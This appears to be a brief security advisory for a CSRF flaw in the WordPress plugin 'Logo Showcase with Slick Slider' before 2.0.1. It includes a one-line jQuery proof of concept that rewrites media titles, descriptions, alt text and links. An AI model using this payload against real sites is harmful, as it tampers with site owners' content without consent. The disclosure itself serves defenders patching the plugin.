Logo Showcase with Slick Slider < 2.0.1 - Arbitrary Media Title/Description/Alt Text/URL Update via CSRF

The plugin does not have CSRF check in the lswss_save_attachment_data AJAX action, allowing attackers to make a logged in high privilege user, change title, description, alt text, and URL of arbitrary uploaded media.

PoC

jQuery.post(ajaxurl,{ action: “lswss_save_attachment_data”, attachment_id: 564, form_data: “lswss_attachment_title=Test&lswss;_attachment_desc=Changed%20via%20CSRF&lswss;_attachment_alt=Alt%20text&lswss;_attachment_link=” })
